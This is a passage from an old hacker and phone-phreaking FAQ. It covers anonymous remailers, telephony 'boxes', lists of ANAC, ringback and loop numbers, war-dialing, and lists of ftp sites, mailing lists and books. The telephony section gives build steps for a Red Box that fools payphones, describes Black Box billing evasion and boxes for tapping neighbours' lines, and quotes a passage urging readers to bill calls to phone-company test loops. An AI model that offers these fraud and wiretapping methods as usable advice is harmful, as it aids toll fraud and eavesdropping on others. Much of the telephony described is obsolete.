        r596adi1.uc.edu                                    [can't connect]
        vtnet1.cns.ut.edu               "CALL" or "call"   [can't connect]
        18.26.0.55                                         [can't connect]
        128.173.5.4                                        [need password!]
        128.187.1.2                                        [need password!]
        129.137.33.71                                      [can't connect]
        bstorm.bga.com / port=4000                         [what is this?]

N 23. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer.

N 24. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. For assistance is obtaining an anonymous account at penet, mail help@anon.penet.fi.

Section B: Telephony

01. What is a Red Box?

When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin.

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal (the largest shiny metal component) with a crystal close to 6.5Mhz. The most popular choice is the 6.5536Mhz crystal. When you are finished, program the P1 button with five *'s. That will simulate a quarter tone.

03. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones).

04. What is a Blue Box?

Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box.

05. Do Blue Boxes still work?

Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling Systems) use out-of-band-signalling. Nothing you send over the voice portion of bandwidth can control the switch.

06. What is a Black Box?

A Black Box is a 10k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call.

07. What do all the colored boxes do?

 Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
             Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
             placed
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every fone out in the immediate area
Blue         Emulate a true operator by siezing a trunk with a 2600hz
             tone
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a divertor
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp use to make free
             calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Divertor     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Trace calls, tell if the call is being traced, and can
             change a trace
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
             quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
             electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
             tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

08. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If that fails, try the nationwide ANAC number 404-988-9664. If you find the ANAC number for your area, please let us know.

Note that many times the ANAC number will vary for different switches in the same city.

A trick to getting the number of the phone line you are calling from is to call an (800) phone sex line. Example: (800)571-8859. These systems will give you an account number, which in many cases includes the telephone number of the phone from which you are calling.

Another useful 800 ANAC number is the Duke Power Company Automated Outage System at (800)769-3766. The system will read back to you the phone number from which you are calling.

Even another 800 ANAC number is Info Access Telephone Company's Automated Blocking line at (800)568-3197. It will read back to you the number from which you are calling, and ask if you would like it blocked.

Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers.

 NPA  ANAC number      Comments
---  ---------------  ---------------------------------------------
201  958              Hackensack/Jersey City/Newark/Paterson, NJ
202  958-xxxx         Dictrict of Columbia
203  960              CT (All)
203  970              CT (All)
204  644-xxxx         Manitoba
205  908-222-2222     Birmingham, AL
206  411              WA /* Not US West */
207  958              ME (All)
209  830              Stockton, CA
212  958              Manhattan, NY
213  114              Los Angeles, CA
213  1223             Los Angeles, CA /* some 1AESS switches */
213  211-2345         Los Angeles, CA /* English response */
213  211-2346         Los Angeles, CA /* DTMF response */
213  61056            Los Angeles, CA
214  790              Dallas, TX /* GTE */
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX /* Southwestern Bell */
215  410-xxxx         Philadelphia, PA
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
301  958-9968         Hagerstown/Rockville, MD
305  200-222-2222     Ft. Lauderdale/Key West/Miami, FL
309  200-xxx-xxxx     Peoria/Rock Island, IL
310  114              Long Beach, CA /* on many GTE switches */
310  1223             Long Beach, CA /* some 1AESS switches */
310  211-2345         Long Beach, CA /* English response */
310  211-2346         Long Beach, CA /* DTMF response */
312  1-200-5863       Chicago, IL
312  200-xxx-xxxx     Chicago, IL
312  290              Chicago, IL
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
314  511              Columbia/Jefferson City, MO
317  310-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
401  222-2222         RI (All)
402  311              Lincoln, NE
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
404  311              Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
405  897              Enid/Oklahoma City, OK
407  200-222-2222     Orlando/West Palm Beach, FL
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfield, MA
413  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
503  611              Portland, OR  /* not all parts of town */
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/Worchester, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
512  200-222-2222     Austin/Corpus Christi, TX
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
514  320-xxxx         Montreal, Quebec
515  5463             Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  997              Albany/Schenectady/Troy, NY
518  998              Albany/Schenectady/Troy, NY
602  593-0809         Phoenix, AZ
602  593-6017         Phoenix, AZ
602  593-7451         Phoenix, AZ
603  200-222-2222     NH (All)
606  997-555-1212     Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
612  511              Minneapolis/St.Paul, MN
615  200200200200200  Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA /* Woburn, MA */
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
708  1-200-xxxx       Chicago/Elgin, IL
713  970-xxxx         Houston, TX
714  211-2121         Anaheim, CA /* GTE */
716  511              Buffalo/Niagra Falls/Rochester, NY /* Rochester Tel */
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
802  2-222-222-2222   Vermont (All)
802  200-222-2222     Vermont (All)
805  830              San Luis Obispo, CA
806  970-xxxx         Amarillo/Lubbock, TX
810  200200200200200  Michigan
812  410-555-1212     Evansville, IN
813  270-8711         Ft. Meyers/St. Petersburg/Tampa, FL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX  /* Southwestern Bell */
818  1223             Pasadena, CA /* some 1AESS switches */
818  211-2345         Pasadena, CA /* English response */
818  211-2346         Pasadena, CA /* DTMF response */
906  200-222-2222     Marquette/Sault Ste. Marie, MI
908  958              New Brunswick, NJ
910  311              Fayetteville/Greensboro/Raliegh/Winston-Salem, NC
914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915  970-xxxx         Abilene/El Paso, TX
919  711              Durham, NC
 
 
Canada:
306  115              Saskatchewan, Canada
416  410-xxxx         Toronto, Ontario
416  997-xxxx         Toronto, Ontario
519  320-xxxx         London, Ontario
604  1116             British Columbia, Canada
604  1211             British Columbia, Canada
604  211              British Columbia, Canada
613  320-2232         Ottawa, Ontario
705  320-xxxx         Saulte Ste. Marie, Ontario
 
Australia:
+61  03-552-4111      Victoria 03 area
+61  19123            All major capital cities

09. What is a ringback number?

A ringback number is a number that you call that will immediately ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later.

10. What is the ringback number for my area?

 202  958-xxxx         District of Columbia
203  991-xxxx         CT (All)
209  890-xxxx         Stockton, CA
213  1-95x-xxxx       Los Angeles, CA
301  958-xxxx         Hagerstown/Rockville, MD
303  99X-xxxx         Grand Junction, CO
312  200-xxxx         Chicago, IL
412  985-xxxx         Pittsburgh, PA
415  350-xxxx         San Francisco, CA
416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario
502  988              Lexington, KY
512  95X-xxxx         Austin, TX
514  320-xxxx         Montreal, Quebec
601  777-xxxx         MS (All)
619  331-xxxx         San Diego, CA
619  332-xxxx         San Diego, CA
703  958-xxxx         Alexandria/Arlington/Roanoke, VA
716  981-xxxx         Rochester, NY /* Rochester Tel */
719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
801  938-xxxx         Utah (All)
801  939-xxxx         Utah (All)
813  711              Ft. Meyers/St. Petersburg/Tampa, FL
 
Australia:
+61 199

11. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.

12. What is a loop in my area?

Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research.
 NPA    High      Low
---  --------  --------
201  228-9929  228-9930
201  238-9929  238-9930
201  251-9929  251-9930
201  254-9929  254-9930
201  272-9929  272-9930
201  330-9929  330-9930
201  333-9929  333-9930
201  339-9929  339-9930
201  347-9929  347-9930
201  376-9929  376-9930
201  398-9929  398-9930
201  467-9929  467-9930
201  528-9929  528-9930
201  558-9929  558-9930
201  559-9929  559-9930
201  560-9929  560-9930
201  592-9929  592-9930
201  625-9929  625-9930
201  631-9929  631-9930
201  637-9929  637-9930
201  655-9929  655-9930
201  666-9929  666-9930
201  690-9929  690-9930
201  761-9929  761-9930
201  762-9929  762-9929
201  762-9929  762-9930
201  762-9929  762-9929
201  763-9929  763-9930
201  764-9929  764-9930
201  767-9929  767-9930
201  768-9929  768-9930
201  773-9929  773-9930
201  879-9929  879-9930
201  946-9929  946-9930
201  992-9929  992-9930
201  993-9929  993-9930
201  994-9929  994-9930
213  360-1118  360-1119
213  365-1118  365-1119
213  455-0002  455-xxxx
213  455-0002  455-XXXX
213  546-0002  546-XXXX
213  546-0002  546-xxxx
305  778-9952  778-9951
305  964-9951  964-9952
312  222-9973  222-9974
312  234-9973  234-9974
313  224-9996  224-9997
313  225-9996  225-9997
313  234-9996  234-9997
313  237-9996  237-9997
313  256-9996  256-9997
313  272-9996  272-9997
313  273-9996  273-9997
313  277-9996  277-9997
313  281-9996  281-9997
313  292-9996  292-9997
313  299-9996  299-9997
313  321-9996  321-9997
313  326-9996  326-9997
313  356-9996  356-9997
313  362-9996  362-9997
313  369-9996  369-9997
313  388-9996  388-9997
313  397-9996  397-9997
313  399-9996  399-9997
313  445-9996  445-9997
313  465-9996  465-9997
313  471-9996  471-9997
313  474-9996  474-9997
313  477-9996  477-9997
313  478-9996  478-9997
313  483-9996  483-9997
313  497-9996  497-9997
313  526-9996  526-9997
313  552-9996  552-9997
313  556-9996  556-9997
313  561-9996  561-9997
313  569-9996  569-9996
313  575-9996  575-9997
313  577-9996  577-9997
313  585-9996  585-9997
313  591-9996  591-9997
313  621-9996  621-9997
313  626-9996  626-9997
313  644-9996  644-9997
313  646-9996  646-9997
313  647-9996  647-9997
313  649-9996  649-9997
313  663-9996  663-9997
313  665-9996  665-9997
313  683-9996  683-9997
313  721-9996  721-9997
313  722-9996  722-9997
313  728-9996  728-9997
313  731-9996  731-9997
313  751-9996  751-9997
313  776-9996  776-9997
313  781-9996  781-9997
313  787-9996  787-9997
313  822-9996  822-9997
313  833-9996  833-9997
313  851-9996  851-9997
313  871-9996  871-9997
313  875-9996  875-9997
313  886-9996  886-9997
313  888-9996  888-9997
313  898-9996  898-9997
313  934-9996  934-9997
313  942-9996  942-9997
313  963-9996  963-9997
313  977-9996  977-9997
313  995-9996  995-9997
402  422-0001  422-0002
402  422-0005  422-0006
402  422-0007  422-0008
402  422-0003  422-0004
402  422-0005  422-0006
402  422-0007  422-0008
402  422-0009  ALL-PREF
402  422-0003  422-0004
402  422-0009  ALL-PREF
402  422-0001  422-0002
402  572-0003  572-0004
517  422-9996  422-9997
517  423-9996  423-9997
517  455-9996  455-9997
517  563-9996  563-9997
517  663-9996  663-9997
517  851-9996  851-9997
609  921-9929  921-9930
609  994-9929  994-9930
616  997-9996  997-9997
616  ALL-PREF  ALL-PREF
713  224-1499  759-1799
713  324-1499  324-1799
713  342-1499  342-1799
713  351-1499  351-1799
713  354-1499  354-1799
713  356-1499  356-1799
713  442-1499  442-1799
713  447-1499  447-1799
713  455-1499  455-1799
713  458-1499  458-1799
713  462-1499  462-1799
713  466-1499  466-1799
713  468-1499  468-1799
713  469-1499  469-1799
713  471-1499  471-1799
713  481-1499  481-1799
713  482-1499  482-1799
713  484-1499  484-1799
713  487-1499  487-1799
713  489-1499  489-1799
713  492-1499  492-1799
713  493-1499  493-1799
713  524-1499  524-1799
713  526-1499  526-1799
713  555-1499  555-1799
713  661-1499  661-1799
713  664-1499  664-1799
713  665-1499  665-1799
713  666-1499  666-1799
713  667-1499  667-1799
713  682-1499  976-1799
713  771-1499  771-1799
713  780-1499  780-1799
713  781-1499  997-1799
713  960-1499  960-1799
713  977-1499  977-1799
713  988-1499  988-1799
714  535-1118  535-1119
714  538-1118  538-1119
714  858-1118  858-1119
714  879-1118  879-1119
805  528-0044  528-0045
805  544-0044  544-0045
805  773-0044  773-0045
813  385-9971
908  776-9930  776-9930

13. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find it's phone number and then call the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel. Private citizens may now legally get CNA information from private companies. Two such companies are:

Unidirectory    (900)933-3330
Telename        (900)884-1212
 
Note that these are 900 numbers, and will cost you approximately one dollar per minute.

14. What is the telephone company CNA number for my area?

614 614-464-0123

15. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc .99b8.

A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones.

16. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ-

It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.

Section C: Resources

01. What are some ftp sites of interest to hackers?

Here is the list again, this time in .netrc format:
 machine  aql.gatech.edu
login    anonymous
password root@
 
machine  bellcore.com
login    anonymous
password root@
 
machine  cert.org
login    anonymous
password root@
 
machine  crimelab.com
login    anonymous
password root@
 
machine  cyberspace.com
login    anonymous
password root@
 
machine  deimos.cs.uah.edu
login    anonymous
password root@
 
machine  ftp.csua.berkeley.edu
login    anonymous
password root@
 
machine  ftp.eff.org
login    anonymous
password root@
 
machine  ftp.etext.org
login    anonymous
password root@
 
machine  ftp.mcs.com
login    anonymous
password root@
 
machine  ftp.netcom.com
login    anonymous
password root@
 
machine  ftp.netcom.com
login    anonymous
password root@
 
machine  ftp.std.com
login    anonymous
password root@
 
machine  ftp.std.com
login    anonymous
password root@
 
machine  ftp.warwick.ac.uk
login    anonymous
password root@
 
machine  ftp.win.tue.nl
login    anonymous
password root@
 
machine  ftp.winternet.com
login    anonymous
password root@
 
machine  garbo.uwasa.fi
login    anonymous
password root@
 
machine  ghost.dsi.unimi.it
login    anonymous
password root@
 
machine  grind.isca.uiwa.edu
login    anonymous
password root@
 
machine  hack-this.pc.cc.cmu.edu
login    anonymous
password root@
 
machine  halcyon.com
login    anonymous
password root@
 
machine  ideal.ios.net
login    anonymous
password root@
 
machine  lcs.mit.edu
login    anonymous
password root@
 
machine  mary.iia.org
login    anonymous
password root@
 
machine  nic.funet.fi
login    anonymous
password root@
 
machine  paradox1.denver.colorado.edu
login    anonymous
password root@
 
machine  ripem.msu.edu
login    anonymous
password root@
 
machine  rtfm.mit.edu
login    anonymous
password root@
 
machine  sekurity.com
login    anonymous
password root@
 
machine  spy.org
login    anonymous
password root@
 
machine  theta.iis.u-tokyo.ac.jp
login    anonymous
password root@
 
machine  vincent2.iastate.edu
login    anonymous
password mabell
 
machine  wimsey.bc.ca
login    anonymous
password root@

02. What are some newsgroups of interest to hackers?

03. What are some telnet sites of interest to hackers?

phred.pc.cc.cmu.edu

04. What are some gopher sites of interest to hackers?

05. What are some World wide Web (WWW) sites of interest to hackers?

06. What are some IRC channels of interest to hackers?

07. What are some BBS's of interest to hackers?

08. What books are available on this subject?

General Computer Security

Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4
This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert.
Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1
 
Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0
 

Unix System Security

Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book.
 Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4
 
Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0
 
Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
 
Unix System Security: A Guide for Users and Systems Adiministrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4
 
Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Network Security

Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7
Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang.
 Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7
 
Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

Cryptography

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2
Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy.
Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5
 

Programmed Threats

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0
The original, and still the best, book on computer viruses. No media hype here, just good clean technical information.
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
 
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
        Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
 

Hacking History and Culture

The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience.
 Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X
 
The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9
 
Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

Unclassified

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5
The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage.
The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6
 
Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer.
Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1
 

09. What are some mailing lists of interest to hackers?

Name:        Cert Tools
Address:     cert-tools@cert.org
To register: cert-tools-request@cert.org
 
Name:        rfc931-users
Address:     rfc931-users@kramden.acf.nyu.edu
To register: brnstnd@nyu.edu
 
Name:        Computers and Society
Address:     Comp-Soc@limbo.intuitive.com
To register: taylor@limbo.intuitive.com
 
Name:        CPSR Announcement List
Address:     cpsr-announce@cpsr.org
To register:
 
Name:        Intellectual Property
Address:     cpsr-int-prop@cpsr.org
To register:
 
Name:        CPSR Internet Library
Address:     cpsr-library@cpsr.org
To register:
 
Name:        Coordinated Feasibility Effort to Unravel State Data
Address:     ldc-sw@cpsr.org
To register:
 
Name:        Macintosh Security
Address:     mac-security@eclectic.com
To register: mac-security-request@eclectic.com
 
Name:        NeXT Managers
Address:
To register: next-managers-request@stolaf.edu
 
Name:        RSA Users
Address:     rsaref-users@rsa.com
To register: rsaref-users-request@rsa.com
 
Name:        Security
Address:     security@aim.rutgers.edu
To register: security-request@aim.rutgers.edu

Section D: Miscellaneous

01. What does XXX stand for?

TLA Three Letter Acronym
 
ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base
 
ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
CA      Cable
COE     Central Office Equipment
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool
 
NTA     The Nocturnal Trading Alliance
PE      Public Enemy
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
 

02. Where can I get a copy of the #hack FAQ?

Finger will@gnu.ai.mit.edu for the latest release of the #hack FAQ.

EOT


pannier@cs.tu-berlin.de